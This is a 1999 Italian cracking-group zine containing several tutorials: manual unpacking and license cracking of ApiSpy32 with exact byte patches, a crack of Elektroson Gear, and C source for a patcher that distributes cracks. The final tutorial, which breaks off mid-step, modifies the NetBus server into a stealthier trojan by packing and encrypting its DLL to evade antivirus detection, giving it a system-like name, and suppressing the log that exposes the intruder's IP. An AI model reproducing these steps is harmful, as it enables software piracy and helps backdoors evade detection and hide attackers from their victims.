bene sono necessari solamente dopo il CreateProcess ed al check tra i byte,
non serve inserirne altri visto che le possibilità di fallimento del
WriteProcessMemory sono alquanto remote. Nell'allegato troverete tutto il
necessario alla compilazione del programma, ovviamente non troverete il tasm
che potrete scaricare al link che trovate all'inizio. Forse la prossima volta
creeremo un trainer, vi garantisco comunque che fare un trainer è molto più
semplice di patchare un programma come questo in quanto non avete la necessità
di cambiare i byte prima di determinati eventi, prendete come esempio il
numero di vite di un gioco, lo potete cambiare quando volete, mia dopo certi
eventi giusto? Bhè ci siamo divertiti abbastanza, abbiamo imparato come
patchare in memoria un programma......non è mica una cosa da poco :))))

Quequero
Note finali

I ringraziamenti sono d'obbligo stavolta, ma prima saluto tutti quelli della
UIC...Ciauzzzzzz....ed ora quelli che si meritano un sentito ringraziamento:
Kill3xx: Grazie tantissimo che hai una soluzione per ogni problema, se non ci
fossi stato tu starei ancora provando chissà cosa per patchare il programma
prima del check :)
Xoanon: Mia musa ispiratrice che mi ha fatto venire un paio di ideuzze non
male per il programma
Neural_Noise: Grazie anche al mio cyberfratellino che è sempre gentile e che
mi voleva far creare thread su thread per patchare sto programma :)))
Ciauz a tuttiiiiiiiiiiiiiiiiiiiiiiii
Disclaimer

Vorrei ricordare che il software va comprato e non rubato, dovete registrare
il vostro prodotto dopo il periodo di valutazione. Non mi ritengo responsabile
per eventuali danni causati al vostro computer determinati dall'uso improprio
di questo tutorial. Questo documento è stato scritto per invogliare il
consumatore a registrare legalmente i propri programmi, e non a fargli fare
uso dei tantissimi file crack presenti in rete, infatti tale documento aiuta a
comprendere lo sforzo immane che ogni singolo programmatore ha dovuto portare
avanti per fornire ai rispettivi consumatori i migliori prodotti possibili.
Noi reversiamo al solo scopo informativo e di miglioramento del linguaggio
Assembly.
Capitoooooooo????? Bhè credo di si ;))))



#---[ApiSpy32 Manual Unpacking]--------------------------------------+QueQuero+-------#

ApiSpy32 Manual Unpacking Laddove il ProcDump fallisce arriva Que :)
(Manual unpacking e cracking)

28-11-1999 by "Quequero"
UIC's Home PagePublished by Quequero

Checkov disse: le donne senza gli uomini appassiscono,
Bellissimo il tutorial di questo Ququero...:)scherzo, vi presento un tute
che dovrebbe piacervi assai :)...ciauzzzgli uomini senza le donne
diventano matti!...Bhè aveva ragione :)
UIC's formHome page: http://quequero.cjb.net
E-mail: UIC@mail.usa.com or UIC@bigfoot.com
On irc: #crack-it, #UIC UIC's form
Difficoltà ( )NewBies (X)Intermedio ( )Avanzato ( )Master

Siete pronti per unpackare un programma senza il procdump? Allora viaaaaa!!!!!.



Laddove il ProcDump fallisce arriva Que :)
(Manual unpacking e cracking)
Written by Quequero


Introduzione

Unpackeremo manualmente e crackeremo un meraviglioso ed utilissimo tool
Tools usati

SoftIce qualunque versione
ADump
ProcDump
Hex-Workshop 3.01 o qualunque altro Hex-Editor
Dei foglietti di carta e la calcolatrice di wintonno...una penna...Si, il
sangue va bene lo stesso :)
URL o FTP del programma

http://quequero.cjb.net sezione tools
Notizie sul programma

Il pargolo è un piccolo ApiSpy, cioè uno di quei programmini che ti dico le
api che usano gli altri programmini :) ottimo anche come monitor durante il
cracking
Essay

Salve a tutti raga, scaricate ed installate questo magnifico
programmino....avviatelo e vedrete un brutto nag con scritto
UNREGISTERED....non ci piace, poi viene una messagebox che ci avvisa che il
programma non è registrato e poi troviamo anche un pulsante
"register".....come se non bastasse non possiamo salvare nel log più di venti
chiamate......e che kazzo, non ci potevano mette pure qualche funzione che ti
faceva esplodere il pc se avviavi il pc troppe volte? :)...hehe non disperate,
siamo qui per porre rimedio a questi problemi, il programma è il paziente
malato e noi siamo i chirurghi con manie da jack lo
squaratore......Apis32.....TREMAAAAAAA :)!!!!!!!
Basta cazzate, iniziamo......Il programma è packato e questo lo si nota
soprattutto perchè se settiamo un breakpoint quello non dura neanche un
microsecondo...se poi disassembliamo il programma, bhè ancora peggio. Aprite
quindi procdump e facendo finta che non esiste il GetTyp provate tutte le
combinazioni dei packer...vedrete che il file viene unpackato da "petite <
1.3", bene, avviate il file.....dho! Non parte....mmmm sta cosa non ci
piace....io che sono un tipo che non pensa ma agisce (un po' come una capra)
ho detto: "Okkei ti unpacko a mano" ricordandomi solo ora che era possibile
far funzionare il file del procdump solo dopo alcune modifiche...oki, andiamo
avanti.
Aprite adump da un prompt di dos e premete "R", dovreste avere qualcosa di
simile:

:r
Internal variables:
-------------------
STARTOFFS: 0x8423F000 <---Questo ci interessa parecchio
ENDOFFS: 0x84333240
LIMIT: 0xF4240 (1000000 )
CUROFFS: 0x8423F000
MAPFN: C:\WINDOWS\TEMP\ADump.log
MAPFSIZE: 0xF4240
ANFILTER: A..Z,a..z,0..9
:

(mi raccomando non chiudete il programma...il caro adump non fa altro che
mappare in memoria un file di un mega e 0x8423F000 è l'offset di inizio di
questo file...ci servirà dopo per dumpare i dati dell'apispy...aprite l'hex
workshop ed andate all'entrypoint del programma (D400h) sostituite il primo
byte con CCh (è l'opcode di Int3), salvate il tutte ed uscite.....aprite sice
(ctrl+d) mettete un breakpoint sull'interrupt 3 (bpint 3) e chiudete sice,
avviate adesso apisspy e appena sice poppa scrivete: e eip 66
in questo modo rimettete il byte originale al suo posto visto che prima
l'avevamo cambiato in CC, fatto ciò avrete davanti due push ed una chiamata:
:0041A000 CC int 03 <----Questo l'abbiamo settato prima
:0041A001 9C pushfd
:0041A002 60 pushad
:0041A003 E8CA000000 call 0041A0D2 <----Questa è la chiamata che dobbiamo
esaminare
:0041A008 0300 add eax, dword ptr [eax]

entrate nella call con F8 e date vita ad un estenuante step finchè non
arriverete qua
:004055C0 55 push ebp <----Questo è l'entry point
originale, ma l'indirizzo dell'entry lo trovate in eax (1A000h)
:004055C1 8BEC mov ebp, esp
:004055C3 6AFF push FFFFFFFF
:004055C5 6810804000 push 00408010
:004055CA 6818544000 push 00405418
:004055CF 64A100000000 mov eax, dword ptr fs:[00000000]
:004055D5 50 push eax

adesso potremmo iniziare il dump visto che siamo arrivati all'entrypoint
originale cioè quello del programma non packato...ma come faccio a dirlo? In
genere i packer arrivano ad un jmp eax e quello significa stanno per arrivare
all'entry originale, in questo caso però non possiamo basarci su questo
"trick" però possiamo notare due cose:
1) Scorrendo il listato in sice vediamo molte api che sicuramente non servono
al packer
2) Guardando la barra verde in basso a sice scopriamo che siamo passati dalla
sezione .madmat alla .text
capito ora? La sezione che ci interessa è sempre la .text o la .CODE, a questo
punto iniziamo il dumping, per prima cosa dobbiamo controllare che tutte le
pagine da dumpare sono in memoria e dobbiamo anche sapere quanti byte dobbiamo
dumpare......arrivati qui scrivete in sice: task
ed avremo la lista di tutte le applicazioni attive, la nostra è ovviamente
api32, quindi scrivete: map32 apis32
ed avrete una lista completa di tutte le sezioni:

Owner Obj Name Obj# Address
Size
Apis32 .text 0001 015F:00401000 Offset: 0000F000
Apis32 .i

  
data 0002 0167:00410000 Offset: 00001000
Apis32 .rsrc 0003 0167:00411000 Offset: 00009000
Apis32 .madmat 0004 015F:0041A000 Offset: 0000D268

per prima cosa calcoliamoci il numero di bytes da dumpare, quindi fate cosi:
Rva ultima sez - imagesize +1000
in sice diventa: ? 41A000-400000+1000 = 1B000
1000 è la lunghezza del PE, quindi il nostro file UNPACKATO sarà lungo 1B000h
bytes, adesso vediamo quante pagine di memoria occupa tutto il programma e
sopratutto vediamo quante pagine non sono in memoria, aprite la calcolatrice
di windows e, sapendo che ogni pagina di memoria occupa 4095bytes cioè FFFh
scriviamo: lunghezza programma / FFF
1B000/FFF = 1B....il programma occupa 27 pagine di memoria, quindi vediamo se
sono tutte presenti, per questo useremo la funzione "page" partendo
dall'indirizzo 400000:
page 400000 L 1b
bene, bene, se la pagina è presente vedrete qualcosa di simile: 00400000
023a9000 P A U R Private
se invece è assente vedrete: 00400000 NP 023a9000
scorrete tutta la lista e scoprirete che molte pagine non sono presenti, la
prima è 400000, segnatevi tutte quelle assenti su un foglietto e poi scrivete:
pagein 400000
pagein 418000
pageun 419000
pagein 41A000
ripeterete tutto questo per tutte quante le pagine assenti....fatto ciò avremo
il programma bello e pronto da dumpare, per farlo dobbiamo trasferire tutti i
suoi byte dalla memoria al file mappatoci da adump, in questo modo:
m address1 L address2
che per noi diventa: m 400000 L 1B000 8423F000 <---Questo è l'offset che ho
evidenziato poco sopra
bene, adesso andiamo in adump (se l'avete chiuso so' cavoli vostri, dovete
riniziare :) alla riga di comando scrivete:
w c:\unpacked.exe 1B000 8423F000
che significa: scrivi nel file "unpacked.exe" 1B000 bytes che trovi all'offset
8423F000......adesso abbiamo il file unpackato ma non lo runnate che non
funziona, per prima cosa dobbiamo rimettere a posto l'entry originale, quindi
aprite procdump, pe editor, unpacked.exe....bhè l'entry sta a posto è quello
giusto cioè 1A000, ma dobbiamo comunque riallineare il file, quindi clickate
su sections e editate ogni section ponendo la Psize uguale alla Vsize e
l'Offset uguale all'RVA, se in pratica avete questo:
Vsize: 00001000 RVA: 00001000
Psize: 00000940 Offset: 00002567

dovete trasformarlo in questo:
Vsize: 00001000 RVA: 00001000
Psize: 00001000 Offset: 00001000

se avete fatto bene il lavoro per tutte le sezioni ed avete premuto F5 per
aggiornare il desktop vedrete allora riapparire l'icona originale ed il file
funzionerà a meraviglia (le sue dimensioni devo essere: 110.592 bytes)

La prima parte è terminata, adesso possiamo crackare il programma...se avessi
tempo vi farei trovare il seriale ma non posso, vado di fretta...

Per prima cosa premete il pulsante register ed inserite un nick ed un
numero....mettete un bp su getdlgitemtexta (bpx getdlgitemtexta) e poi premete
invio....appena entrati premte F11 e non fermatevi lì, steppate per 16 volte
con F12 ed arriverete qui:

:0040174A push 00409038
:0040174F push 0040D1E0
:00401754 Call lstrcatA
:0040175A push 00409328
:0040175F push 0040D1E0
:00401764 Call lstrcatA
:0040176A call 004046A0
:0040176F A374CE4000 mov [40xxxx], eax <-----Perdonatemi le xxx ma non me lo
ricordo quale era l'indirizzo
:00401774 EB01 jmp 00401777

dopo la chiamata a 4046A0 viene mosso nel buffer il valore riportato da eax
(il solito leim 1 se è esatto e 0 se non lo è), a questo punto proviamo ad
alterare il valore di eax e mettiamoci 1, subito dopo c'è un piccolo trick SMC
che decide se saltare alla beggar off oppure no, eccolo:
:00401774 EB01 jmp 00401777
:00401777 B80AC07402 mov eax, 0274000A
:0040177B EB2C jmp 004017A9

ora ve lo spiego: quel jump vorrebbe saltare all'indirizzo 401777 che come
vedete non è rappresentato ma ovviamente c'è :), il programma allora salta
effettivamente a quell'indirizzo scindendo l'opcode B80AC07402 in:
B8
0AC0
7402
solo che B8 dal significato nullo viene saltato e 0AC0 e 7402 diventano:
:00401774 EB01 jmp 00401777
:00401776 B8 BYTE B8 <---Questo byte viene ignorato dal jump
:00401777 0AC0 or al, al <---Al = 0
:00401779 7402 je 0040177D <---Beggar Off
:0040177B EB2C jmp 004017A9

noi non dobbiamo far altro che cambiare non quel byte ma l'sitruzione sopra,
cioè, prendete "mov [40xxxx], eax" e cambiatelo in "mov eax, 1".....quindi
aprite l'exe ed andate nel programma a cercare questi bytes: A374CE4000EB01,
ce ne sono due nel programma e cambiateli in: B801000000EB01 (lo stesso
identico trick lo ritrovate a 401F39, cambiatelo sennò il programma non si
cracka)...Avremmo potuto cambiare direttamente i byte del trick ma non mi
andava :).....e non rompete che il tute lo sto a fare io :)....uscite da sice
e.....track...programm registrato..riavviatelo e riavrete (ovviamente) la
scrittina registered....chiudete il tutto e mettete un break su
RegOpenKeyExA...clickate sul programma e steppate cpn F5 finchè non vedrete
apparire il loghetto conl'ape ancora senza scritte....appena arrivate a questo
punto cancellate i bp, premete F11 ed arrivate qui:
:00404815 03EA add ebp, edx
:00404817 41 inc ecx
:00404818 4E dec esi
:00404819 75DA jne 004047F5
:0040481B 33C0 xor eax, eax
:0040481D 5F pop edi
:0040481E 85ED test ebp, ebp
:00404820 5E pop esi
:00404821 5D pop ebp
:00404822 0F94C0 setz al <---Azzera AL se il flag Z è attivato

dovete solo cambiare quel setz al in "mov al, 1 nop"..ecco l'opcode:
B00190..sostituitelo al nel file ed il programma sarò finalmente crackato.
ciauzzzzzzzzzzzzzz.........Ah, non dimenticatevi dopo il crack di clickare su
register, inserire il vostro nick ed un qualunque numero più lungo di 16 cifre


Quequero
Note finali

Grazie tantissime a Neural_noise che mi ha insegnato molto sul manual unpacking,
kill3xx e tutt quanti gli altri...scusate ma ho una fretta
boia.......ciauzzzzzzzzzzzzz


#---[Elektroson gear crack]------------------------------------------+KILLER+---------#

Elektroson gear crack


Crack di un time-limit con codice di sblocco ricavato dal numero di serie della demo.


Questo tutorial è scritto a puro scopo didattico; non mi assumo nessuna responsabilità per qualsiasi utilizzo dannoso e illegale dei suoi contenuti.

Strumenti:
1) Gear 4.2 (oppure gear replicator 1.2; opp gear audio 1.0) (target)
2) Numega softice 3.24
3) Editor esadecimale

Vi siete procurati i tools necessari? come target uno dei tre programmi su citati va' benissimo tanto è sempre la stessa ed indentica libreria da crackkare (il crack è universale per tutti e tre!!! 3 in uno Che bello! :) Basta infatti sostituire la che è in tutti e tre i preogrammi con quella crackkata che li crackki automaticamente tutti e tre! Programmatori cretini! neanche un po' di fantasia avete?

Ok, bando alle ciancie, crackkiamo sti kazzo di programmi.
Innanitutto, apriamo il prg scelto; premiamo il pulsante purchase,
riempiamo i vari campi con caratteri a casaccio; ma prima di dare l'ok apriamo sice (crtl+d) e ci scriviamo bpx getwindowtexta ed usciamo da sice.
Ora possiamo dare l'ok, sice si popperà nella call dell'api getwindowtexta e premiamo f11 e abbiamo:


Steppiamo e usciamo dalle call fino ad arrivare al jne che sice ci indicherà con jnz.
Bene tutto quello che dobbiamo fare ora, è forzare la non esecuzione del salto; quindi io ho cambiato il jne 10002867 in jne 10002835 che in esadecimale è 7500.
Apriamo hex editor e cerchiamo ora il salto e sostituiamo il 7532 con 7500.
Tadaaaaa testiamo il tutto e walà ogni sn inserito funzionaaaa. quindi fate pure evalutare la copia tanto ad ogni avvio lo potrete registrare e usare!!!.
Un arrivedereci da kller.



BY KILLER


#---[Patcher]--------------------------------------------------------+BlackDruiD+-----#

Creazione di un patcher


Cosa fare una volta trovati gli offset dei byte da patchare di un eseguibile?
Ci sono almeno un paio di possibilità:
1. andare a sostituire 'a mano' i byte utilizzando un hex-editor
2. creare un patcher.

entrambe le soluzioni sono valide ma cosa succede se disinstallate il prog? Perdete tutte le modifiche ovviamente, a meno che non conserviate una copia dell'exe patchato(non è una bella idea, soprattutto se la dimensione del file è consistente).E se poi volete distribuire il vostro crack?
Direi che la soluzione migliore è quella di creare un patcher molto semplice che ha due vantaggi:
1.occupa un ridotto numero di kbyte
2. è riutilizzabile per tutti gli exe che volete patchare.

ora vi spiegherò come realizzare un patcher in c;
N.B. il patcher che ho realizzato è molto ma molto semplice, quindi se ritenete che offenda la vostra intelligenza smettete di leggere ora.

Prima di tutto dovete annotarvi i byte da modificare ed i relativi offset.
Prendete nota del nome del file da patchare (es: progdelcazzo.exe).

#include <stdio.h>
#include <conio.h>

#define FileName "progdelcazzo.exe" //inserisci qui il nome del file da patchare
#define Offset 0x9D32 //inserisci l'offset dei byte da modificare

int main(void)
{
FILE *in;

clrscr();
printf("Progdelcazzo 2.06\n\n"); //stampa a video la versione del programma patchato
printf("Craked by BlackDruiD\n\n");
if ((in = fopen(FileName, "r+b")) == NULL){
fprintf(stderr, "Cannot open input file.\n");
return 1;
}

fseek(in,Offset,SEEK_SET); //si sposta sull'offset dei byte da modificare
//offset è il valore che avete impostato all'inizio del file
//(#define ecc..)

fputc(0xF,in); //scrittura dei nuovi byte
fputc(0x95,in); //in questo caso scriveremo: 0xF,0x95 a partire
//dalla posizione 0x9D32

fclose(in);
printf("Program Cracked\n\n");
printf("BlackDruiD rules\n\n"); //questo lasciatelo!!!!
return 0;
}

molto semplice no?
ora sta a voi arricchirlo un po', inserendo un controllo sulla dimensione dell'eseguibile(per verificare che il file che state patchando sia effettivamente quello giusto) o inserendo scritte colorate e lampeggianti ecc.

Buon lavoro

BlackDruiD


#---[Reversing NetBus 2_0b Pro]--------------------------------------+QueQuero+-------#


Reversing NetBus 2_0b Pro

Reversing NetBus 2.0b Pro Reversing NetBus 2.0b Pro
(trasformiamo un Non-trojan in un Trojan)

05-11-1999by "Quequero"
UIC's Home PagePublished by Quequero


Ecco a voi un tutorial sul vero e puro reversing, godetevelo :)
UIC's formHome page se presente: http://quequero.cjb.net
E-mail: UIC@mail.usa.com or UIC@bigfoot.com
#Crack-it #UIC UIC's form
Difficoltà ( )NewBies (X)Intermedio (X)Avanzato ( )Master

Avete mai sentito parlare del netbus 2.0? Bhè io credo di si e probabilmente
avrete anche letto la mia guida all'uso del programma.....Bhè visto che tutti e
due sappiamo di cosa stiamo parlando andiamo a ricostruire il programma



Reversing NetBus 2.0b Pro
(trasformiamo un Non-trojan in un Trojan)
Written by Quequero



Introduzione

Non avete mai praticato il reversing nel vero senso della parola? Bhè è giunto
il momento di cominciare!
Tools usati

SoftIce 4.0 (ma va bene qualunque versione)
W32DASM
Hex-Workshop
Borland Resource Workshop
Stone PE Crypter
Petite v2.0
ProcDump 1.5
ASPack v 1.08.03 o 1.08.04
Un antivirus (io ho usato l'AVP)
La calcolatrice di winzoz
URL o FTP del programma

Avrete bisogno di NetBus 2.0b Pro anche se noi reverseremo solo il server (cmq
se l'avete completo è meglio)
Notizie sul programma

NetBus! Chi era costui? Bhè qualcuno lo chiama trojan...qualcuno lo adora,
altri lo odiano...io...lo reverso...già! Il programma viene visto dagli
antivirus come una backdoor, se chiedete in giro vi diranno che è un
trojan.....Macchèèè tutte cretinate, il programma non può vantarsi di quel
nome...un trojan è invisibile e silenzioso, il netbus è molto visibile e
soprattutto molto poco flessibile heheheheeh...raga è giunta l'ora di
trasformare questo pargoletto in un vero e proprio trojan con in
controcoglioni....vabbè non esageriamo :) cmq lo miglioreremo di molto!
Essay

Prendete il server del netbus (vi consiglio di pescare il seriale leggendo il
mio tutorial che si trova alla uic prima di iniziare), il suo nome è NBSvr.exe,
avviatelo senza timore e come per magia vi apparirà davanti agli occhi una
graziosa finestra corredata di alcuni pulsantini....ma come?!?!? Non doveva
essere un trojan? Bhè in effetti dovrebbe proprio essere un trojan....Ma non
credo che troveremo mai uno talmente leim (xOANONÓÔÒ :) da configurarsi sotto i
vostri occhi un potenziale trojan...Bhè come tutti sapete un "cavallino" modello
dovrebbe essere invisibile e soprattutto molto molto flessibile, e sono proprio
queste le doti che conferiremo al nostro pargolo....Già, invisibilità e
flessibilità..Hihihihihihi...Bene è con sommo piacere che dopo un periodo ancora
non terminato di impegni estremamente pesanti che vi presento questo
tute...Quindi...c'mon babe let's reverse :)
Avviate il NetBus e noterete subito che viene creata una dll di nome
NBHelp.dll....Mmmmm sta cosa non ci piace per niente e poi se prendete un
qualunque antivirus vedrete che la rileva come pericolosa e la
cancella...quindi primo passo: packare la dll, crittarla e cambiarne il nome
hihihihihihi come sono perfido :).
Per prima cosa dobbiamo rendere questa dll invisibile, ma come? Aprite un
prompt di dos e scrivete:

c:\> petite -9 NBHelp.dll

e così avrete la dll compressa ed un backup, poi sempre dallo stesso prompt
scrivere

c:\> spec NBHelp.dll

in questo modo la dll sarà anche crittata, adesso aprite l'antivirus e
controllatela....Okkei sembra essere invisibile, mi raccomando non packate la
dll con l'ASPack che ci sono dei problemi, ve lo dico perchè già c'ho provato
:).
Ma adesso cosa ci facciamo con questa dll? Semplice, dobbiamo fare in modo che
il programma estragga la NOSTRA dll e non la sua, per prima cosa dobbiamo
vedere quanto è grande. Quindi aprite sice e mettete un breakpoint su
writefile (bpx writefile) dovete tener presente che il programma crea il file
con CreateFileA e poi lo riempie con WriteFile, createfile non ci interessa
più di tanto e quindi lo scartiamo però dobbiamo anche trovare la locazione
dalla quale il programma attinge byte da piazzare nel file, quindi aprite la
vostra guida della API e cercate WriteFile, se non ce l'avete ci penso io:

BOOL WriteFile(
HANDLE hFile, // handle del file nel quale scrivere
LPCVOID lpBuffer, // puntatore ai bytes da scrivere nel file
DWORD nNumberOfBytesToWrite, // numero di bytes da scrivere (la
dimensione del file finale)
LPDWORD lpNumberOfBytesWritten, // puntatore al numero di bytes scritti
LPOVERLAPPED lpOverlapped // puntatore alla struttura per I/O
sovrapposti
);

ricordatevi che i dati vengono pushati nello stack in ordine diverso
Okkei, adesso potete avviare NBSvr.exe....ecco sice che poppa e dovreste avere
davanti qualcosa di simile a questo:
:0040848C 8D442404 lea eax, dword ptr [esp+04] <-----Esp+04 punta
alla stringa che a sua volta punta alla lunghezza della dll :)))
:00408490 50 push eax <-----Salva Eax che adesso punta
alla lunghezza della dll cioè FA00h--->64000 bytes
:00408491 57 push edi
:00408492 56 push esi <-----Esi punta ai dati da
scrivere nel file, cioè i bytes della nostra dll
:00408493 53 push ebx
:00408494 E817E4FFFF Call KERNEL32!WriteFile
:00408499 85C0 test eax, eax
:0040849B 7507 jne 004084A4

guardate eax con "d eax" alla riga di comando.....e troverete il numero di
bytes da scrivere nel file cioè FA00h che diventa 64000 in
esadecimale...eccovi la grandezza della dll, 64kilobyte, per verificare
clickate sul file ed andate su proprietà...bene coincidono, ma tutto ciò non
ci basta, adesso riavviate NBSvr.exe e dopo la chiamata a writefile scrivete
"d esi", bene, questi sono i bytes che andranno nella dll e che dobbiamo
cambiare con i nostri, ma dobbiamo sapere in quale sezione ci troviamo e per
farlo dovremo clickare in sice col destro su "push esi" e scegliere
"Un-Assemble" oppure scrivere "u 00408492"....Guardiamo la barra verde in
basso in sice e c'è scritto: NBSVR!.rsrc, quindi i byte si trovano nella
sezione .rsrc....Adesso abbiamo bisogno di conoscere l'offset al quale si
trovano questi byte per poterli poi ritrovare nell'exe....se scrivete "d esi"
vedrete che il primo byte si trova al RVA ---> 004834BC, per trovarne l'offset
dobbiamo applicare una semplice formuletta (tenetevela stretta che vi servirà
spesso :):
(RVA istruzione - RVA sezione) + Raw Offset sezione = Raw Offset
istruzione....Allora applichiamola, aprite il ProcDump, clickate su PE Editor
e poi selezionate il file del server...scorrete la lista e col destro clickate
su .rsrc e poi su "Edit section"...bene l'RVA della nostra sezione è
82000h+l'imagebase che è di 400000 così diventa: 00482000, uscite da questo
menu e trovatene nella lista il Raw Offset...per la .rsrc è 7C400h...quindi:
(004834BC-00482000) + 7C400 = 7D8BCh
benissimo, adesso questo numerino magico ci porterà direttamente ai bytes che
vogliamo cambiare...Aprite l'hex-workshop, clickate su "go to offset" ed
inseriteci 7D8BC...tadààà ecco a voi i bytes della dll, se volete controllarli
prendetene una manciata e confrontateli con quelli di NBHelp.dll....Oki a me
corrispondono e ciò vuol dire che il programma non critta in alcun modo la dll
prima di estrarla...male male :). La cosa che stiamo per fare è sostituire i
byte della dll originale con i byte della nostra dll packata e crittata
:)...ma non dimentichiamoci una cosa, cioè che il file originale è lungo
64000bytes mentre il nostro è di 36099bytes, quindi se mi avete seguito avrete
anche capito che c'è bisogno di cambiare prima del writefile il parametro che
indica all'API quanti byte scrivere...Dunque facendo due conti vediamo che
64000 corrisponde a FA00h e 36099 a 8D03h...con un procedimento simile al
primo scopriamo che la lunghezza si trova all'offset 7D9F4h, ovviamente non
troverete FA00 ma 00FA (raga non è colpa mia e colpa della Intel :). Tanto per
iniziare la modifica cambiamo FA00 in 8D03 (quindi 00FA in 038D :) in questo
modo il programma estrarrà solo 8D03h bytes...salvate il file fate na
prova....Okkei a me funzia e a voi pure :), adesso inizieremo la parte più
delicata del nostro lavoro: aprite nell'Hex-Workshop contemporaneamente il
NBSvr.exe e la dll packata, portatevi all'offset 7D8BCh nel file NBSvr.exe e
troverete la signature della dll originale "MZP....", adesso massimizzate la
finestra nella quale si trova la dll packata e copiatene tutti i bytes dal
primo all'ultimo....Riandate nella finestra del server e selezionate a partire
dall'offset di prima 8D03h bytes (è semplice, andate nella parte dove trovate
il codice esadecimale e scorrete giù fino a che l'indicatore in basso a destra
vi segnerà 0x8D03 bytes) a questo punto attentissimi a non aver selezionato un
byte in meno o in più premerete Ctrl+v oppure il tasto "incolla" ed avrete
incollato i nostri bytes sul file (dovete tenere il pulsante "ins" disattivato
altrimenti i vostri dati incollati si accoderanno a quelli selezionati),
adesso salvate e quando vi chiede di fare il backup dell'originale rispondete
di si...Uscite dal programma e controllate che le dimensioni dei due file
(l'originale e quello modificato) siano IDENTICHE, e sopratutto state attenti
che l'ultimo byte incollato sia UGUALE all'ultimo byte della dll
packata....Adesso vi consiglio di riempire i successivi bytes con tutti
zeri....Bene bene, fate una prova, avviate il file e vedete se la dll che vi
genera è uguale a quella packata...a me si quindi tutto okkei.
Riposatevi 5 minuti che avremo da fare ancora per
parecchio............................................................................

Io mi sono riposato un pochetto....ricominciamo: altra cosa che dobbiamo fare
è cambiare il nome della dll perchè NBHelp.dll è un po' troppo esplicito, io
la chiamerò mfc40a.dll...ma cosa andiamo a cambiare? Bhè probabilmente dovremo
cambiare il nome in due parti dell'exe, il primo al LoadLibrary che carica la
dll stessa ed il secondo al CreateFile, quindi piazzate un breakpoint su
LoadLibraryA e steppate fino ad arrivare qua:
:00464EE8 E813E7F9FF call 00403600
:00464EED 68B84F4600 push 00464FB8 <-----NBHelp.dll
:00464EF2 E8C918FAFF KERNEL32!LoadLibraryA
:00464EF7 A3F0FF4600 mov dword ptr [0046FFF0], eax
:00464EFC 833DF0FF460000 cmp dword ptr [0046FFF0], 00000000
:00464F03 0F84A8000000 je 00464FB1

con i soliti calcoletti di prima cerchiamoci l'offset di 00464FB8 che è:
643B8h, quindi aprite l'Hex-Workshop....go to offset e cambiate il nome in
mfc40a.dll...È inutile provare perchè ora non cambia nulla tranne che il
programma cerca di caricare il file mfc40a.dll. Adesso rimettete un breakpoint
su CreateFileA e steppate finchè non arrivate qui:
:00408430 53 push ebx
:00408431 8BD8 mov ebx, eax
:00408433 6A00 push 00000000 <-----Guardate in EAX o EBX o
ECX o EDX o ESI e troverete il nome del file da creare
:00408435 6880000000 push 00000080 <-----FILE_ATTRIBUTE_NORMAL
:0040843A 6A02 push 00000002 <-----CREATE_ALWAYS
:0040843C 6A00 push 00000000 <-----FILE_SHARE_NONE
:0040843E 6A00 push 00000000 <-----SECURITY_ANONYMOUS
:00408440 68000000C0 push C0000000 <-----GENERIC_READWRITE
:00408445 8BC3 mov eax, ebx
:00408447 E810BBFFFF KERNEL32!CreateFileA
:0040844C 50 push eax

adesso con il solito metodo vi ritrovate l'offset al quale è localizzato il
nome che in questo caso è: 642B4h, andate nell'hex-workshop e cambiatene il
nome con mfc40a.dll...Abbiamo fatto i fondamentali, ma per evitare bug
cambiate in mfc40a.dll anche le stringhe agli offset 86334h 8AB34h 673E0h.
Adesso la nostra dll ha un nome tutto suo e questo è mooooooooolto bene :)
solo che il nostro caro programma ancora non è un trojan per due motivi, il
primo è che crea un file di log chiamato log.txt nel quale scrive tutto ciò
che noi facciamo sull'harddisk il nostro IP è compreso tra queste righe :)
hehe allora fixiamo questo problema e poi passiamo al secondo dramma da
cambiare :)
Non vi nascondo che in un primo momento sono rimasto spaesato, in effetti non
sapevo che fare perchè se non creavo il file il server crashava, se mettevo il
file log.txt come readonly il programma ci scriveva dentro lo stesso allora ho
iniziato a pensare.....e pensa che ti ripensa mi sono detto: "Bhè dovrà pure
scriverci in questo dannato file? E magari usa proprio WriteFile!"
, bhè un bel
breakpoint sulla funzione, apro la console, mi collego al mio pc e boom,
eccoti più bello che mai sice, non avete capito? Vi mostro una cosa:

BOOL WriteFile(
HANDLE hFile, // handle del file nel quale scrivere
LPCVOID lpBuffer, // puntatore ai bytes da scrivere nel file
DWORD nNumberOfBytesToWrite, // numero di bytes da scrivere
LPDWORD lpNumberOfBytesWritten, // puntatore al numero di bytes scritti
LPOVERLAPPED lpOverlapped // puntatore alla struttura per I/O
sovrapposti
);

si si, lo so che sta tabella l'ho già messa sopra, ma guardate.....vedete il
terzo parametro? Esatto, se lo settiamo a zero non verrà scritto un cavolo di
niente la dentro...quindi bpx writefile, fate partire la console, avviate
anche il server e connettetevi al vostro pc (IP 127.0.0.1).....Tadàààà ecco
sice, steppate fino ad arrivare qui:
:0040572B 51 push ecx
:0040572C 8B500C mov edx, dword ptr [eax+0C] <-----Muovi in edx il
numero di bytes da scrivere nel file
:0040572F 85D2 test edx, edx <-----Edx uguale a 0? (edx è
uguale a zero se ci sono stai degli errori e il server da un messaggio)
:00405731 7E1A jle 0040574D <-----Se si salta a GetLastError
:00405733 33C9 xor ecx, ecx
:00405735 89480C mov dword ptr [eax+0C], ecx
:00405738 51 push ecx
:00405739 8D4C2404 lea ecx, dword ptr [esp+04]
:0040573D 51 push ecx
:0040573E 52 push edx <----- Edx contiene il numero di
byte da scrivere :))))
:0040573F FF7014 push [eax+14] <-----eax+14 contiene l'offset
del buffer che contiene i nostri dati
:00405742 FF30 push dword ptr [eax]
:00405744 E807BBFFFF KERNEL32!WriteFile
:00405749 85C0 test eax, eax <-----Scrittura avvenuta con
successo? Muovi 1 in eax se non ci sono stati errori
:0040574B 7404 je 00405751 <-----Eax = a 0? Salta a
GetLastError

cosa dobbiamo modificare? Dobbiamo fare un paio di interventi sotto anestesia
locale quindi poco rischiosi :) per prima cosa al posto di test edx, edx al
RVA 0040572F ci mettiamo un bel xor edx, edx ed il salto sotto lo noppiamo,
quindi in sice fate così: a 40572F invio
xor edx, edx
nop
nop
ed ora state tranquilli che il log sarà vuoto :), segnatevi i byte ed andateli
a cambiare nel file....Vabbè ve lo dico io, andate all'offset 4B2Fh e cambiate
questi byte: 85D27E1A con 33D29090....Non è finito, consiglio anche di
cambiare il nome e gli attributi del file di log, lo chiameremo s_s.vxd e
setteremo l'attributo di file nascosto :).In sice scrivete: bpx createfilea
avviate il server e steppate fino ad arrivare qua:
:004057E7 6A00 push 00000000
